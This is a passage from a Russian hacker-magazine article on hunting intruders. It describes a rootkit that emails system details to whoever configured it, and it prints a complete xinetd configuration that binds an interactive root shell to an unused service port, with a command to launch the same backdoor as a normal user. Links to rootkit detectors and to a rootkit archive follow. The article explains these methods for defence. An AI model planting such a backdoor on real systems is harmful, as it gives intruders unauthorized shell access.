Охота на хакера

Александр Любимов aka Sashiks

Хакер, номер #084, стр. 084-062-6

md5sum=l1_nux@yahoo.com

Вот как раз ему и уплывает инфа о системе (в коде еще можно встретить аналогичную отсылку, но только уже для uname -a и id). Но интересно даже не это. Любопытно то, что, когда этот руткит передается из рук в руки, адресок, на который высылается пароль на доступ к машине, меняется. Каждый норовит вписать в setup свое мыло, чтобы его каждый день спамили доступом к новым похаканным системам :). Чьи я только мыла там не видел! И к чему я это все сказал? А то, что нужно стараться изучить хотя бы по диагонали все незнакомое, что попало к тебе в руки. К сожалению, обмануть может кто угодно - даже чувак, с которым давно знаком. Поэтому, дружище, как говориться, доверяй, но проверяй! :)

[backdoor через xinetd]

К сожалению, как и все в этом мире, xinetd-хакеры могут использовать в своих грязных целях, чтобы без проблем коннектиться на машину. Это выглядит следующим образом. Взломщик выбирает название любой неиспользуемой службы из /etc/services. В этом файле установлены соответствия между именами и номерами портов для сервисов. Далее, в /etc/xinetd.d создается файл с именем выбранной службы. В качестве такого сервиса можно выбрать irc, висящий на 194/tcp порту, - не путай его с ircd. В /etc/xinetd.d/irc вносятся следующие записи:

[пример хакерского конфига]

service irc

# после ключевого слова service идет название службы

{

port = irc

# порт какой службы использовать - смотри в /etc/services

socket_type = stream

# тип соединяющего сокета

wait = no

# ждем ? -нет !

user = root

# пользователь владелец сервера

server = /usr/local/bni/bash

# имя файла, который выступает в роли сервера, - универсальный вариант "/bin/sh"

server_args = -i

# аргументы к бинарнику - у нас "/bin/sh -i"

disable = no

}

Вот так вот взломщики проникают в систему при помощи xinetd. Таким же образом можно сделать бэкдор под учетной записью обычного пользователя. Для этого нужно написать тоже самое в какой-нибудь файл, спрятать его подальше, а затем под юзером выполнить:

$ `which xinetd` -f /path/to/file/backdoor.conf

После этого бэкдор будет запущен. Аргумент -f указывает, какой конфигурационный файл использовать при запуске. Разве что следует помнить - обычному юзеру порт ниже 1024 не светит, да он и не нужен.

WWW

Руткит детекторы:

* www.chkrootkit.org

ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz

* www.rootkit.nl

http://downloads.rootkit.nl/rkhunter-1.2.7.tar.gz

INFO

Небольшой архив руткитов с кратким описанием можно найти тут: http://download.pro-hack.ru/s_rootkits.html

CD/DVD

На нашем диске ты найдешь полные версии программ, описанных в этой статье.